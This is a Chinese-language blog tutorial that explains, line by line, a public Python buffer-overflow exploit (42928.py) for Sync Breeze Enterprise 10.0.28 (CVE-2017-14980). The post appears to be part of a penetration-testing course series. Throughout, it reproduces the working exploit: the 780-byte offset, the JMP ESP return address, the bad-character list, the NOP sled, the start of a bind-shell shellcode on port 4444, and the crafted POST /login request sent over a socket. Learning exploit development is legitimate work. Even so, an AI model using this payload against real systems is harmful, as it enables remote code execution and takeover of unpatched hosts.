**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。
🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬
🌌 立即前往 👉晖度丨安全视界🚀

▶信息收集 ➢ 修改漏洞利用脚本 ➢ 分析漏洞利用脚本(.py)🔥🔥🔥
▶ 漏洞检测
▶ 初始立足点
▶ 权限提升
▶ 横向移动
▶ 报告/分析
▶ 教训/修复
目录
[1.1 分析并修改漏洞利用脚本](#1.1 分析并修改漏洞利用脚本)
[1.1.1 寻找可用漏洞利用脚本](#1.1.1 寻找可用漏洞利用脚本)
[1.1.2 分析 Python 漏洞利用代码 (42928.py)](#1.1.2 分析 Python 漏洞利用代码 (42928.py))
[1.1.2.1 核心载荷分析](#1.1.2.1 核心载荷分析)
[1.1.2.2 POST请求构造](#1.1.2.2 POST请求构造)
[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)
1.修改缓冲区溢出利用脚本实战
本例以Sync Breeze Enterprise**(这是一个文件管理同步软件)** 为目标,对其漏洞利用分析与修改,并最终利用,漏洞编号:CVE-2017-14980
1.1 分析并修改漏洞利用脚本
我们在kali中查找 Sync Breeze Enterprise 10.0.28 有关的漏洞利用脚本,然后聚焦于两个可用漏洞之一,这将为我们提供适用于目标环境的漏洞利用代码,并展示后续的修改过程。
1.1.1 寻找可用漏洞利用脚本
通过搜索该产品的具体版本,我们发现其中一个公开的漏洞利用代码是 用C语言编写 的。
注意 :第一个搜索结果是 拒绝服务(Denial of-Service) 漏洞利用,它仅会导致程序崩溃,无法实现进一步渗透。建议避免使用此类利用(第一个) ,优先选择功能更完整的替代方案,即后面两个**(Remote Buffer Over)**。
接下来逐一分析,最终确定用哪个脚本,一个是py脚本,一个是c脚本。
1.1.2 分析 Python 漏洞利用代码 (42928.py)
详细阅读42928.py源代码,开始进行分析。由于本部分理解起来比较困难,我将对全部的代码进行解释,如下:
#!/usr/bin/python
注释: 指定脚本解释器为 Python,系统会调用/usr/bin/python执行该脚本。
import socket
import os
import sys
意思: 导入所需模块:socket用于网络通信,os和sys为系统相关操作(此处未实际使用,但保留导入)。
crash = "A" * 1000
意思: 初始测试用的缓冲区填充,生成 1000 个字符 "A",用于探测程序崩溃点(后续被覆盖)。
# jmp = 10 09 0c 83 libspp.dll
注释: 找到libspp.dll中的跳转指令地址(0x830C0910),用于覆盖返回地址实现控制流劫持(小端序存储为\x83\x0c\x09\x10)。
libspp.dll 是一个动态链接库文件(DLL),它可能是该应用程序的一部分。它可能位于系统目录(如 C:\Windows\System32)或其他文件夹中,有时可能被恶意软件伪装成合法的 DLL 文件 。这里是:当该libspp.dll文件在加载或执行时,程序会遇到这条 jmp 指令,然后跳转到地址 0x830C0910。
因此,需要使用防病毒软件对.dll文件进行扫描,检查它是否包含恶意代码。
# bad char = 00 0A 0D 25 26 2B 3D
**注释:**漏洞利用中需避免的 "坏字符"(这些字符会中断 payload 执行或被过滤)。
bind shell on port 4444
buf = ""
buf += "\xb8\x3b\xcc\xbe\xaa\xdb\xd2\xd9\x74\x24\xf4\x5b\x33"
...(后续buf内容)
**意思:**声明这是绑定 4444 端口的 Shellcode(一段机器码,执行后会在目标主机开启 4444 端口的 Shell),通过拼接字符串构造完整 Shellcode。
crash = "A" * 780 + "\x83\x0c\x09\x10" + "\x90"*16 + buf
**意思:(核心内容)**构造最终攻击载荷:
-
"A" * 780:780 个 "A" 填充缓冲区,直到覆盖返回地址的位置; -
"\x83\x0c\x09\x10":覆盖返回地址为跳转指令地址(小端序); -
"\x90"*16:16 个空指令(NOP),作为 "滑行区",确保 CPU 能滑到 Shellcode; -
buf:绑定 Shell 的 Shellcode。fuzz="username="+crash+"&password=A"
意思: 构造 POST 请求的表单数据内容:username参数携带攻击载荷,password参数填充为 "A"。
buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.211.149\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Referer: http://192.168.211.149/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(fuzz))+"\r\n"
buffer+="\r\n"
buffer+=fuzz
**意思:**构造完整的 HTTP POST 请求:
-
指定请求方法、路径和协议版本;
-
设置
Host、User-Agent等 HTTP 头; -
Content-Length指定表单数据长度; -
最后拼接POST请求的表单数据
fuzz。expl = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
**意思:**创建 TCP 套接字(IPv4,流式套接字)。
expl.connect(("192.168.211.149", 80))
意思: 连接目标主机(192.168.211.149)的 80 端口(HTTP 服务)。
expl.send(buffer)
**意思:**发送构造好的 HTTP 请求(携带攻击载荷)。
expl.close()
**意思:**关闭套接字连接。
形象比喻 :把这个漏洞利用过程比作**"撬锁闯空门"**:
缓冲区填充("A"*780):像用一张硬卡片反复捅锁芯,把锁内的弹子(程序的栈空间)顶到极限,直到露出锁的 "核心机关"(返回地址)。
覆盖返回地址(\x83\x0c\x09\x10) :找到锁的 "应急旋钮"(
libspp.dll里的跳转指令),用工具把旋钮拧到你想要的位置(劫持程序执行流)。NOP 滑行区(\x90*16):在旋钮和 "藏宝室门"(Shellcode)之间铺一条光滑的滑道,确保转动旋钮后能稳稳滑到目标位置。
Shellcode(buf):藏宝室里的 "万能工具",一旦触发就能打开后门(绑定 4444 端口的 Shell),让你随意进出目标主机。
HTTP 请求发送:把这套 "撬锁工具" 装进信封(HTTP 请求),寄到目标主机的 "门卫室"(80 端口),门卫(程序)拆开后触发撬锁流程,最终你就能接管整栋房子(主机)。
由于kali版本不同,42928.py源代码略有不同,再次把重要的部分说明一下:
1.1.2.1 核心载荷分析
重点看漏洞利用脚本中的HTTP服务器模块,通过构造特殊的 POST请求 触发缓冲区溢出。以下是核心代码段的解读:
| 代码片段 | 说明 |
|---|---|
offset = "A" * 780 |
创建780个字符"A"作为偏移量填充,用于覆盖缓冲区直至返回地址位置 |
JMP_ESP = "\x83\x0c\x09\x10" |
跳转指令 ,指向内存地址 0x10090c83(JMP ESP),用于重定向执行流。 这里具体的是,在偏移量780处,使用内存地址为0x10090c83的JMP ESP指令覆盖指令指针。 |
shellcode = "\x90"*16 + msf_shellcode |
Shellcode构造 :16个NOP指令(\x90)作为滑道 + 实际负载代码 这个shellcode的作用是执行攻击者想要运行的恶意操作,比如:打开反向Shell连接、执行任意命令等。 |
流程总结:
python
[缓冲区填充] → [覆盖返回地址,跳转至JMP ESP地址] → [执行NOP滑道] → [运行Shellcode]
**提示:**上面的源代码是JMP_ESP ="\x83\x0c\x09\x10",为什么内存地址是反过来的呢?
这是因为计算机采用 小端字节序(Little Endian) 存储多字节数据。在这种模式下,低位字节存储在内存的低地址处(即"倒着存")。
例如,源代码中的字节序列
\x83\x0c\x09\x10,其最低位字节\x83存放在最低地址,而最高位字节\x10存放在最高地址。因此,当程序按地址顺序读取时,实际组合出的内存地址是 0x10090c83 。这就像写数字时从右向左书写个位、十位一样,是计算机底层处理数据的常规方式。而另一种大端字节序(Big Endian) 则顺序相反,但现代计算机架构(如x86)普遍采用小端模式。
说到内存地址,这里顺便展开内存和内存地址的关系。
内存(RAM) 可视为一个由海量"小格子"组成的阵列,每个格子即为一个内存单元 ,拥有唯一的编号,即内存地址。
内存地址(编号) :它本身是一个指针,其长度(位数)决定了系统能管理多大内存。
32位系统 :地址长32位(4字节,1个字节8位),最大可寻址 4 GB。例如:\x83\x0c\x09\x10;
64位系统 :地址长64位(8字节,1个字节8位),理论上可寻址空间极大(如
18.4亿TB)。例如:\x83\x0c\x09\x10\x83\x0c\x09\x10。内存单元(格子) :每个地址通常指向 1字节(8位) 的存储空间。这是数据存储的最小可寻址单位。
系统的寻址能力 (由地址位数决定)乘以每个地址的存储容量(通常为1字节),就得到了系统可支持的最大内存容量。例如,32位系统(2³²个地址) × 1字节/地址 = 4 GB 总容量,内存条的实际大小就是这些内存单元的总和。
1.1.2.2 POST请求构造
漏洞利用通过HTTP POST发送恶意载荷,需修改以下参数以匹配目标环境:
-
目标IP地址
-
端口号
-
请求路径url
POST请求结构如下:
XML
POST /login HTTP/1.1
Host: <目标IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: <长度>
username=<偏移量><JMP_ESP><NOP滑道><Shellcode>&password=A
欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论
每一份支持,都是我持续输出的光。感谢阅读,下一篇文章见。
